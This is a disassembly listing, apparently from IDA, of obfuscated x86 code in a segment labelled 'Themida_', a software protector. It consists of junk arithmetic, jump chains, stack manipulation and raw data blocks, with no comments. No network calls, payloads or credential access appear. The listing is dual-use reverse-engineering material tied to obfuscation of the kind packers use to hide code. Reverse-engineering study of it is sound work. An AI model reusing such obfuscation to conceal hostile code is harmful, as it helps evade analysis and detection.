		dd 0C3815FFFh, 2, 0E9241C87h, 0FFFF5F7Dh, 0E9C0B60Fh, 0FFFFD446h
		dd 2BBh, 0FFD98900h, 815B2434h,	4C4h, 59CA0100h, 2474FF52h
		dd 48F5A04h, 4005C24h, 0E5E99C24h, 8BFFFF51h, 0C4812414h
		dd 4, 0FE81B151h, 0FEC1FEC1h, 0FEE1D0C1h, 0D4C180C1h, 2859CC00h
		dd 0B05058E3h, 644BE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550BD6:				; CODE XREF: Themida_:00549F23j
		xor	bh, 95h
		xor	ah, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	bl, ah
		jmp	loc_54F977
; ---------------------------------------------------------------------------
		dd 2BEBC781h, 0FA010371h, 0C4BD555Fh, 8174CC3Dh, 1742ABE5h
		dd 7CED8132h, 29300400h, 0FF525DEAh, 5A042474h,	0E924048Fh
		dd 0FFFF8B95h, 243C895Ch, 0FF9CDDE9h, 246C01FFh, 246C8104h
		dd 9646CB04h, 2D585D4Ah, 28310C8Eh, 81241C8Bh, 4C4h, 243C8B00h
		dd 0B5EAE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550C42:				; CODE XREF: Themida_:005475FEj
		mov	edi, esp
		push	56B9h
		jmp	loc_54657D
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4E88300h, 5C240487h, 0F7243489h, 348B2414h, 4C48324h
		dd 0B850h, 0F0290000h, 8158C689h, 80633DEEh, 5EF201E9h
		dd 0FFA2E4E9h, 240489FFh, 513D68h, 243C8900h, 0FFFC94E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550C91:				; CODE XREF: Themida_:005494DAj
		mov	edi, esp
		push	ebx
		mov	ebx, 5A4E5ACEh
		add	ebx, 794655C8h
		sub	ebx, 0D394B092h
		add	edi, ebx
		pop	ebx
		add	edi, 2
		jmp	loc_54887D
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2, 65E9CD89h, 5900000Ah, 0E904EC83h,	0FFFFE31Fh, 33241431h
		dd 248B2414h, 0EC8AE924h, 0B9FFFFh, 1000000h, 75B1E9D9h
		dd 0E588FFFFh, 5859EB88h, 0B951h, 0C1010000h, 0FFEED3E9h
		dd 0D6F766FFh, 0FFD445E9h, 1AB850FFh, 0D11D137Ah, 0E8C148E0h
		dd 2E8C106h, 0E902E0C1h, 0FFFFEB1Ah, 578B68h, 24148900h
		dd 1BAh, 5AD08900h, 34FFC121h, 24048B24h, 55E68956h, 4B3084BDh
		dd 0D1DDF778h, 2EDC1EDh, 8105E5C1h, 0D33DDCEDh,	0E9EE011Eh
		dd 1C2h, 0E90CBBBEh, 96EE811Dh,	29ED5DF4h, 50E95EF7h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D5F:				; CODE XREF: Themida_:0055205Dj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 3
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D73:				; CODE XREF: Themida_:0054D8DEj
		pop	eax
		push	4A22h
		jmp	loc_54FCE5
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4C17008Ch, 0FFB0A1E9h, 0E9D3F7FFh, 0FFFFD50Bh, 53E9D0F7h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D97:				; CODE XREF: Themida_:00547D66j
		push	dword ptr [esp]
		jmp	loc_54CCA4
; ---------------------------------------------------------------------------
		db 80h
		dd 48BD0C3h, 3FAE924h, 8B660000h, 33E9240Ch, 0BBFFFFA3h
		dd 9A2568Fh, 8245C01h, 0D1E9585Bh, 58FFFF4Fh, 2C8BE929h
		dd 4C48124h, 81000000h,	9F52BBE9h, 59C8012Ah, 56E28952h
		dd 5CAE9h, 4DB95100h, 292E8622h, 0D0F759C8h, 0F708E8C1h
		dd 0BC0F05D8h, 0C701FE5Ch, 8124048Bh, 4C4h, 0C22FE900h
		dd 0B850FFFFh, 0C0B757Fh, 0A825D0F7h, 0E9457126h, 0FFFF6A2Ch
		dd 4C181h, 5CE90000h, 50FFFFC2h, 0FFAC4CE9h, 4C481FFh
		dd 0E9000000h, 0FFFFE40Eh, 80D0EB80h, 0C8B91EBh, 4C48324h
		dd 0FFB4F7E9h, 81E289FFh, 4C2h,	4C28100h, 87000000h, 0F5C2414h
		dd 9C2404A3h, 0FF4F33E9h, 5E9C0FFh, 8FCC180h, 6FE959CBh
		dd 81FFFF98h, 284CD8E9h, 0F7D98777h, 55D987D3h,	9A5866BDh
		dd 5DE9019Ch, 0C8BC801h, 4C48324h, 0FF4F03E9h, 2434FFFFh
		dd 0FFFE26E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550E99:				; CODE XREF: Themida_:0054E1BCj
		push	2A42h
		mov	[esp], edx
		jmp	loc_5513F2
; ---------------------------------------------------------------------------

loc_550EA6:				; CODE XREF: Themida_:00550F45j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	[esp+4], eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5472A7
; ---------------------------------------------------------------------------
		db 51h
		dd 0FDB75352h, 27BD68h,	240C8900h, 0FFAB26E9h, 0E9E789FFh
		dd 0FFFF5B9Ah
; ---------------------------------------------------------------------------

loc_550EE4:				; CODE XREF: Themida_:00550715j
		mov	[esp], esi
		jmp	loc_54D46C
; ---------------------------------------------------------------------------
		dd 0BDE9DDF7h, 0FF000012h, 48B2434h, 0E358E924h, 0F430FFFFh
		dd 0F9AAE95Ah, 0C589FFFFh, 0F283E958h, 0E95DFFFFh, 0FFFF9BC9h
		dd 91ADF681h, 0F0299CE4h, 0E924348Bh, 0FFFFB30Fh, 8104C483h
		dd 4F22DC5h, 9A57E9FCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F32:				; CODE XREF: Themida_:0054B54Fj
		pop	edx
		mov	ch, 73h
		sub	ch, 14h
		jmp	loc_54AF82
; ---------------------------------------------------------------------------

loc_550F3D:				; CODE XREF: Themida_:00548887j
		add	bl, al
		jmp	loc_5513A3
; ---------------------------------------------------------------------------

loc_550F44:				; CODE XREF: Themida_:0054DE83j
		pop	eax
		jmp	loc_550EA6
; ---------------------------------------------------------------------------
		dw 0D000h
		dd 0D2C5Ah, 510D04E8h, 802C90B5h, 8004E828h, 0F5F4E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F62:				; CODE XREF: Themida_:00547252j
		sub	esi, 5CEC664Bh
		sub	esi, 21D51053h
		jmp	loc_54BECB
; ---------------------------------------------------------------------------
		db 58h
		dd 4D7E9h, 5DE95800h, 0F7FFFF77h, 0F7D1F7D9h, 50F181D1h
		dd 0E9F2A1F8h, 0FFFF76E0h, 0F53DE957h, 0DE89FFFFh, 83241C8Bh
		dd 3C8B04C4h, 4C48124h,	21000000h, 0C0095EF0h, 0FF6AA3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550FB1:				; CODE XREF: Themida_:0054638Dj
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	eax, cl
		push	edi
		mov	edi, 0FFFFFFFFh
		push	0BEBh
		jmp	loc_54F8E7
; ---------------------------------------------------------------------------
		dd 7049F181h, 0C9812CB9h, 206506C2h, 17B8F181h,	0D1F716C3h
		dd 3EC7E981h, 0E9813530h, 47C3479h, 0FFEC6DE9h,	0E1E954FFh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_551003:				; CODE XREF: Themida_:0054744Aj
		add	edx, edi
		xor	eax, [edx]
		jmp	loc_54EE94
; ---------------------------------------------------------------------------
		dd 0EA88C588h, 88505859h, 58E788D4h, 0FF7153E9h, 0D3F75DFFh
		dd 0FFF77BE9h, 240431FFh, 0E9240433h, 0FFFFED84h, 0E9E8885Bh
		dd 0FFFF7EFDh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5500CE
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 0C2h
		dd 0FF4D33E9h, 242C8BFFh, 0E9E68956h, 0FFFF7746h, 8301C683h
		dd 2C8904ECh, 8F96BD24h, 0EE816A0Ah, 57B86128h,	0FFC34AE9h
		dd 24248BFFh, 83243C89h, 148904ECh, 1BA24h, 81520000h
		dd 2BA92404h, 815F701Eh, 1E2BA9EFh, 0F8215A70h,	0E9243C8Bh
		dd 0FFFF56FCh, 9C2404D2h, 0FFBE58E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5510B9:				; CODE XREF: Themida_:0054F697j
		mov	eax, 6B3D0F25h
		jmp	loc_54B362
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0D35C2404h, 0C5E92424h, 89FFFF4Ch, 0E6892434h, 4C681h
		dd 0C6830000h, 0D99AE904h, 0EBC1FFFFh, 30C38103h, 513B1F4Eh
		dd 0C25411B9h, 0E181493Eh, 3F2E4376h, 7AA8F181h, 0CB2905B4h
		dd 0FFCEA2E9h, 24048FFFh, 0F19BE95Ch, 1C8BFFFFh, 17346824h
		dd 2C890000h, 0ADA0E924h, 1489FFFFh, 0E9E28924h, 0FFFFAED4h
		dd 0C2B661B3h, 0FFC77FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551131:				; CODE XREF: Themida_:0054699Dj
		add	eax, 4
		jmp	loc_5512C1
; ---------------------------------------------------------------------------

loc_55113B:				; CODE XREF: Themida_:0055139Ej
		push	eax
		push	ebx
		jmp	loc_549F69
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 270FCE81h, 0C68140ACh, 304108F5h, 295EF289h,	3C875AD7h
		dd 3C895C24h, 0C8685524h, 5D2FF266h, 8105EDC1h,	7F4C87F5h
		dd 99ED8117h, 89EE9277h, 0E7815DEFh, 81F317Dh, 8904EC83h
		dd 72BE2434h, 29DDB42Eh, 0B4E8E9F7h, 0F681FFFFh, 2A012A22h
		dd 5EEBF681h, 0F1893721h, 0E924348Bh, 0FFFFA5ADh, 0E904C483h
		dd 0FFFFA3CFh
; ---------------------------------------------------------------------------

loc_5511AC:				; CODE XREF: Themida_:0054662Ej
		add	[esp+4], edx
		mov	edx, [esp]
		jmp	loc_5499A3
; ---------------------------------------------------------------------------
		dd 4B951h, 0CF010000h, 81240C8Bh, 4C4h,	4EF8300h, 0FFD40EE9h
		dd 0EC815DFFh, 4, 89243C89h, 4C781E7h, 0E9000000h, 0F7Bh
		dd 4C78159h, 87000000h,	875C243Ch, 248B243Ch, 4096624h
		dd 91E99C24h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551203:				; CODE XREF: Themida_:005519BFj
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 0FF8064E9h, 0E82959FFh, 0FF6F63E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551219:				; CODE XREF: Themida_:005502DFj
		pop	esp
		push	small 1D5Fh
		mov	[esp], cx
		push	3E78h
		mov	[esp], eax
		jmp	loc_54B532
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 6624248Bh, 0E950E9F7h,	0A28h
		dd 0BA525659h, 7AB67F40h, 0FFD224E9h, 24B951FFh, 1000000h
		dd 0ADE950F9h, 81FFFFD1h, 0EDAB3FF3h, 5BDA01F5h, 15A9C381h
		dd 0D32930C6h, 15A9EB81h, 555A30C6h, 8C3E9h, 4C48100h
		dd 83000000h, 0FF5304C3h, 5B042474h, 8B24048Fh,	0E9562424h
		dd 0FFFFC47Ah, 240C8B66h, 0BE93E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5512A2:				; CODE XREF: Themida_:005478D8j
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_546444
; ---------------------------------------------------------------------------

loc_5512AE:				; CODE XREF: Themida_:0054DB76j
		mov	[esp], ecx
		jmp	loc_549794
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 3914E6Eh, 0FFF3B6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5512C1:				; CODE XREF: Themida_:00551136j
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebp
		mov	ebp, 409D3378h
		jmp	loc_547FC3
; ---------------------------------------------------------------------------
		dw 0EA80h
		dd 0CA32E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5512E6:				; CODE XREF: Themida_:00546D3Aj
					; Themida_:005490E6j ...
		push	4B6Ah
		jmp	loc_54C1CF
; ---------------------------------------------------------------------------
		dd 0E950E189h, 0FFFF6E1Ah
; ---------------------------------------------------------------------------

loc_5512F8:				; CODE XREF: Themida_:00548E9Dj
		push	eax
		jmp	loc_547C94
; ---------------------------------------------------------------------------

loc_5512FE:				; CODE XREF: Themida_:005473EDj
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		xor	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		mov	dword ptr [edx+38h], 6CF55A7Dh
		inc	dword ptr [edx+38h]
		jmp	loc_54C7E3
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFEBh, 81242C8Bh, 4C4h, 5D545500h, 4C581h, 85E90000h
		dd 8B00000Dh, 0AEE92424h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55134F:				; CODE XREF: Themida_:00546D95j
		push	esi
		mov	esi, 3C423761h
		add	eax, esi
		pop	esi
		add	eax, edi
		sub	eax, 3C423761h
		push	esi
		mov	esi, 41B753D9h
		xor	esi, 244F142Fh
		jmp	loc_551F5B
; ---------------------------------------------------------------------------

loc_551370:				; CODE XREF: Themida_:0054EE98j
		push	eax
		jmp	loc_546FBF
; ---------------------------------------------------------------------------
a4ua		db '4î€Ã}',0
		dd 7DEB80C3h, 5124048Bh, 0C181E189h, 4,	0FFBD3FE9h, 0E9F701FFh
		dd 0FFFF9F2Dh
; ---------------------------------------------------------------------------

loc_551398:				; CODE XREF: Themida_:00545F7Ej
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55113B
; ---------------------------------------------------------------------------

loc_5513A3:				; CODE XREF: Themida_:00550F3Fj
		add	bl, 0F0h
		jmp	loc_55007A
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4C1F1446h, 0C681D6F7h, 393854EDh, 41D3C681h,	0CCE95E64h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5513C3:				; CODE XREF: Themida_:0054621Fj
		sub	esp, 4
		jmp	loc_551AB6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C78100h, 0E9000000h, 0FFFFBC13h
; ---------------------------------------------------------------------------

loc_5513DC:				; CODE XREF: Themida_:00551CABj
		mov	[esp], ebx
		jmp	loc_548C60
; ---------------------------------------------------------------------------
		dd 6358E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5513EA:				; CODE XREF: Themida_:0054F2F9j
		mov	edx, [esp]
		jmp	loc_54867A
; ---------------------------------------------------------------------------

loc_5513F2:				; CODE XREF: Themida_:00550EA1j
		mov	dl, 20h
		sub	al, 44h
		sub	al, 7Bh
		sub	al, dl
		add	al, 7Bh
		push	cx
		mov	cl, 44h
		add	al, cl
		jmp	loc_550687
; ---------------------------------------------------------------------------
		db 2Ch
		dd 51F02855h, 0E5C0FAB5h, 80DDF604h, 2EE984EDh,	8BFFFF92h
		dd 0C4832404h, 0F0285B04h, 0C3805A66h, 50C300B1h, 2CB35351h
		dd 1FE9CBFEh, 54FFFF78h, 0B0BD555Fh, 813BEF71h,	38780EEDh
		dd 34C58152h, 0E9906867h, 0FFFF7170h, 89DBD55h,	1FE94C06h
		dd 5CFFFF6Ah, 4EC81h, 4890000h,	5585424h, 4, 38EB68h, 242C8900h
		dd 8904EC83h, 60B82404h, 0BD73E466h, 73E46664h,	0EBE9C531h
		dd 81FFFF89h, 0EE65C7EAh, 65BF5760h, 81598379h,	65CEDCFh
		dd 0DFF74F56h, 5002EFC1h, 0FF7206E9h, 0B27B05FFh, 0C789801Bh
		dd 5024048Bh, 0FF5734E9h, 37C681FFh, 5073DD08h,	0FF95E7E9h
		dd 240C33FFh, 0FF8045E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5514CD:				; CODE XREF: Themida_:0054C7B2j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54830B
; ---------------------------------------------------------------------------
		dd 0F0654BBBh, 34BA523Ch, 4251D948h, 0FFC0A5E9h, 243C8BFFh
		dd 0FF8815E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5514F1:				; CODE XREF: Themida_:0054A882j
		mov	al, 0B7h
		mov	bh, 0F1h
		sub	bh, al
		jmp	loc_5493A8
; ---------------------------------------------------------------------------
		dd 8B241C89h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	7906h
		mov	[esp], edx
		push	edi
		mov	edi, 727960F1h
		shl	edi, 5
		xchg	ebx, edi
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		xchg	ebx, edi
		shl	edi, 1
		jmp	loc_54A488
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 4C681h, 34870000h, 11E95C24h,	81FFFF84h
		dd 0A01A02C7h, 8BFA018Eh, 0C481243Ch, 4, 31E9D021h, 8FFFFFC5h
		dd 6037E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551562:				; CODE XREF: Themida_:0054D2E6j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54F363
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 42474FFh, 24048F5Ah,	0FFD29EE9h, 7E9C1FFh, 6DA068h
		dd 0FF5EE900h, 8B66FFFFh, 70682404h, 8900006Bh,	0E954240Ch
		dd 0FFFF969Eh, 42474FFh, 24048F58h, 2404895Ch, 0FF5280E9h
		dd 0C8B66FFh, 0EC835224h, 24248904h, 0FF9A88E9h, 4C083FFh
		dd 31240433h, 4332404h,	0FD65E924h, 34FFFFFFh, 0C4815B24h
		dd 4, 0FFD718E9h, 5BD800FFh, 0FFAD2EE9h, 242C31FFh, 8B242C33h
		dd 54522424h, 4BF575Ah,	0E9000000h, 0FFFFCB55h
; ---------------------------------------------------------------------------

loc_551610:				; CODE XREF: Themida_:00547F6Ej
		pop	dx
		push	20B8h
		mov	[esp], ebx
		mov	bh, 9Ah
		jmp	loc_549F1C
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C2h
		dd 4, 4C281h, 14870000h, 24248B24h, 0E9E78957h,	0FFFFEB4Ah
		dd 0B850h, 0D0010000h, 0FF583001h, 815A2434h, 4C4h, 2434FF00h
		dd 1B9E95Eh, 0D8310000h, 0FFF2A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551661:				; CODE XREF: Themida_:00551AA0j
		pop	eax
		jmp	loc_549E0A
; ---------------------------------------------------------------------------
		db 80h
		dd 0C300D4C3h, 0E9D4EB80h, 0FFFFF72Bh, 4937C581h, 814D623Fh
		dd 116B34E5h, 0F2C5816Ch, 19FFFF6h, 4875DE8h, 24248B24h
		dd 9C240CD3h, 0FF46FBE9h, 0E9C35BFFh, 0FFFFC5A2h, 0C93BE947h
		dd 0C283FFFFh, 24143302h, 0FF5DA4E9h, 0E78957FFh, 4C781h
		dd 0EF830000h, 243C8704h, 2414895Ch, 0C281E289h, 4, 61E3BB53h
		dd 0CB814B44h, 51BF7F34h, 711FCB81h, 0C383736Eh, 4F38101h
		dd 517BFF80h, 995621B9h, 692E93Fh, 0DDF70000h, 29BBED81h
		dd 0EE017E48h, 0FF9729E9h, 53E9ADFFh, 89FFFFFFh, 0BBB82404h
		dd 813DA67Ah, 4ECh, 24348900h, 598546BEh, 0E9F189C2h, 0FFFFC87Ah
		dd 9797E959h, 8957FFFFh, 4C781E7h, 81000000h, 4C7h, 0CAA4E900h
		dd 0C181FFFFh, 4, 6FBF5755h, 8938D045h,	0E5C15FFDh, 2EDC103h
		dd 6BB2C581h, 0C5817AA0h, 53BF0972h, 34FFE901h,	0C4815D24h
		dd 4, 0AE75E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551772:				; CODE XREF: Themida_:0054AF90j
		add	al, ch
		jmp	loc_54CCFA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 46h
		dd 31A1AD88h, 0CA215BD9h, 80F28159h, 2D4AFBBBh,	1853F8Eh
		dd 0ECE9D029h, 8BFFFFB1h, 0C4832414h, 5CC1E904h, 0E95FFFFFh
		dd 0FFFFE4DBh, 4BEh, 0FFF50100h, 815E2434h, 4C4h, 0CAB3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5517BE:				; CODE XREF: Themida_:00549158j
		push	5461h
		mov	[esp], eax
		mov	eax, 800h
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_54AABC
; ---------------------------------------------------------------------------
		dw 1489h
		dd 764DBA24h, 0E2C170CEh, 0BEC28106h, 0E92D9E32h, 0FFFF5064h
		dd 0EC4CC781h, 81E94918h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5517FF:				; CODE XREF: Themida_:005465E1j
		not	ebx
		inc	ebx
		jmp	loc_54D327
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 3FE95C24h,	81FFFFCBh, 4C4h, 729E6800h, 0C890000h
		dd 81595424h, 4C1h, 4E98300h, 5C240C87h, 0E9243C89h, 0FFFF4F25h
		dd 0E9028F64h, 0FFFF4554h, 4C281h, 0C2810000h, 4, 2474FF52h
		dd 48F5A04h, 0C4835C24h, 0C0FDE904h, 0E089FFFFh, 405h
		dd 8230E900h, 0F65BFFFFh, 2EA80D2h, 0FFDEC7E9h,	4C781FFh
		dd 68000000h, 4C87h, 0BA241489h, 4, 575AD729h, 42474FFh
		dd 0FF4630E9h, 0E6EBEFFh, 0F3295DFEh, 0A1EB815Eh, 17B1495h
		dd 5AE95BD9h, 80FFFFD5h, 0F828BAEFh, 51112C5Bh,	461068h
		dd 241C8900h, 0E998B151h, 4D1h,	2BBh, 5BDE0100h, 8B243487h
		dd 0F662424h, 9C2404BBh, 0FF44B7E9h, 0C83B66FFh, 581EE99Ch
		dd 0D9F7FFFFh, 0BE56h, 0CE290000h, 0C4E9F187h, 59FFFF8Bh
		dd 715EE81h, 0CE01556Fh, 3169B951h, 0E181279Eh,	48F63301h
		dd 0FFC2E1E9h, 0E1768FFh, 34890000h, 9B85024h, 890D9939h
		dd 0BD5558C6h, 0D993909h, 2C8BEE31h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_551A55
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0CE682404h, 8900000Dh, 8B542404h, 0C4812404h, 4, 4BF57h
		dd 0F8010000h, 0EC83555Fh, 24048904h, 18604CB8h, 58C58908h
		dd 0FFD787E9h, 1CE951FFh, 66FFFF7Ch, 15E930FFh
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55197F:				; CODE XREF: Themida_:00546354j
		xchg	eax, [esp]
		xchg	eax, ebx
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		jmp	loc_54D914
; ---------------------------------------------------------------------------
		dw 5E5Fh
		dd 247C2958h, 45E9E904h, 9068FFFFh, 5400000Fh, 0FF6168E9h
		dd 0CB814BFFh, 0DE664DBh, 8A09C381h, 0D901C200h, 4E9835Bh
		dd 0FF9F27E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5519BD:				; CODE XREF: Themida_:0055008Aj
		sub	bl, al
		jmp	loc_551203
; ---------------------------------------------------------------------------
		dd 48BC731h, 4C48124h, 51000000h, 7976C268h, 67E95916h
		dd 0F7FFFFE0h, 0FCE281D2h, 8142E37Eh, 0A33E9CF2h, 5AC78142h
		dd 17CCC37h, 5AEF81D7h,	5A7CCC37h, 4BE56h, 0C7810000h
		dd 38E62AB8h, 0FF87ECE9h, 5CE958FFh, 29FFFF63h,	5904244Ch
		dd 95BCE958h, 0C581FFFFh, 4, 0EF8AE950h, 0E946FFFFh, 0FFFFBB22h
; ---------------------------------------------------------------------------

loc_551A2C:				; CODE XREF: Themida_:005482F0j
		pop	ebp
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	2764h
		mov	[esp], ebx
		jmp	loc_54F756
; ---------------------------------------------------------------------------
		dw 0DA29h
		dd 3E9EA81h, 685B651Ch,	0
		dd 0FFB929E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551A55:				; CODE XREF: Themida_:00551939j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ebx, esi
		jmp	loc_549552
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0D9047DA1h, 0E95BD801h, 0FFFFA738h, 2847F381h, 0D8E943C1h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A7B:				; CODE XREF: Themida_:0054831Aj
		mov	edi, 4791F98h
		push	3E1Ah
		mov	[esp], ebp
		mov	ebp, 3DC4153Eh
		xor	edi, ebp
		pop	ebp
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		push	ecx
		mov	ecx, 6742802Ch
		add	edi, ecx
		pop	ecx
		push	edi
		jmp	loc_551661
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 6Bh
		dd 0C11ED851h, 0E6C105EEh, 466FE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551AB6:				; CODE XREF: Themida_:005513C6j
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_54D20B
; ---------------------------------------------------------------------------
		db 68h,	0D2h, 74h
		dd 0C890000h, 7AD6E924h, 0D0F7FFFFh, 12C98A2Dh,	58C389B4h
		dd 0E95FFB29h, 0FFFFBAF7h, 0E189515Fh, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 89241C89h, 0C689E9FBh,	0DA21FFFFh, 4ADAF75Bh
		dd 7A5EF281h, 0C2810796h, 0BED28D56h, 156CEA81h, 2CE97E98h
		dd 1FFFF9Bh, 276405D8h,	302D6C2Eh, 0E9128973h, 0FFFFEFB7h
; ---------------------------------------------------------------------------

loc_551B34:				; CODE XREF: Themida_:0054D6BEj
		add	esp, 4
		push	ebx
		jmp	loc_54D2EB
; ---------------------------------------------------------------------------
		dd 3F421CBDh, 0D308E933h, 248BFFFFh, 2434FF24h,	0E2895258h
		dd 8904EC83h, 4BB241Ch,	1000000h, 80E95BDAh, 51000005h
		dd 42474FFh, 24048F59h,	0FF6E7BE9h, 0CBCD80FFh,	3EB65266h
		dd 5A66F528h, 80A7B450h, 0F4801BC4h, 0FFC48062h, 0ECC0DCF6h
		dd 7CEC8006h, 8058E528h, 0E5C049E5h, 1EED8005h,	37E9A1B2h
		dd 81FFFFF7h, 4C4h, 1CF56800h, 0E9E90000h, 81FFFFBDh, 4C7h
		dd 0C0DCE900h, 8159FFFFh, 4C1h,	2C18300h, 0FFFF96E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551BD1:				; CODE XREF: Themida_:00549258j
		mov	ah, ch
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54BFC6
; ---------------------------------------------------------------------------
		db 89h
		dd 348B241Ch, 4C48124h,	52000000h, 89F78957h, 0D0895FFAh
		dd 24348B5Ah, 4C481h, 25680000h, 89000033h, 0EC832434h
		dd 24348904h, 0D68E689h, 8900004Eh, 25BA2414h, 81658D7Ch
		dd 0BA7E87EAh, 0D2F74A0Bh, 8104EAC1h, 62D022EAh, 5AD6010Ah
		dd 3304EE83h, 34312434h, 24343324h, 240C895Ch, 400B9h
		dd 34815100h, 9F484924h, 0BF575E2Bh, 2B9F4849h,	8B5FFE31h
		dd 0C483240Ch, 5EF02104h, 0E90AE8C1h, 0FFFFC3DFh, 405E089h
		dd 51000000h, 502668h, 6F94E900h, 0E781FFFFh, 347444FDh
		dd 3ACDC781h, 0EF817A71h, 8D966B51h, 0DF5B1505h, 0E9F80112h
		dd 0FFFFAE06h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5513DC
; ---------------------------------------------------------------------------
		dd 0DDF7454Dh, 0FFCE21E9h, 2434FFFFh, 592434FFh, 5E08950h
		dd 4, 4B951h, 0C8010000h, 74FF5059h, 8F580424h,	575C2404h
		dd 21D668h, 8750E900h, 433FFFFh, 24043124h, 0E9240433h
		dd 0FFFFBE0Bh, 0BD5320BFh, 81D7F72Ch, 9B1B9BF7h, 83DFF732h
		dd 48904ECh, 0B5C6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551D0E:				; CODE XREF: Themida_:00548B59j
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_546ADE
; ---------------------------------------------------------------------------
